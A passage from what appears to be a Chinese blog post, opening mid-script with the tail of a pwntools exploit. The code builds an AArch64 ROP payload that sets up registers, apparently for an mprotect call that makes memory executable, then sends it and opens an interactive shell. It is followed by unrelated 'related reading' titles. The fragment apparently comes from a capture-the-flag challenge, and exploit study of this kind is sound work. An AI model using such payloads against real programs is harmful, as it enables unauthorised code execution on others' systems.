    payload += p64(0)                              #x29
    payload += p64(0x4008ac)                       #x30
    payload += p64(0)                              #x19
    payload += p64(0)                              #x20
    payload += p64(0x411068)                       #x21
    payload += p64(7)                              #x22
    payload += p64(0x1000)                         #x23
    payload += p64(0x411000)                       #x24
    payload += p64(0)#p64(0x411068+0x8)
    payload += p64(0x411068+0x8)
    p.send(payload)
    p.interactive()
    
  • 相关阅读:
    echarts事件触发多次解决办法
    nginx代理出现的问题
    iframe页面之间通信
    获取当前日期的前XX天或者后XX天
    获取本月往后一年的日期月份信息
    Deltix Round, Summer 2021 (open for everyone, rated, Div. 1 + Div. 2)D. Take a Guess
    Deltix Round, Summer 2021 (open for everyone, rated, Div. 1 + Div. 2)C. Compressed Bracket Sequence
    Deltix Round, Summer 2021 (open for everyone, rated, Div. 1 + Div. 2)B. Take Your Places!
    Deltix Round, Summer 2021 (open for everyone, rated, Div. 1 + Div. 2) A. A Variety of Operations
    centos 查看mysql数据库命令
  • 原文地址:https://www.cnblogs.com/z2yh/p/14152823.html
Copyright © 2020-2023  润新知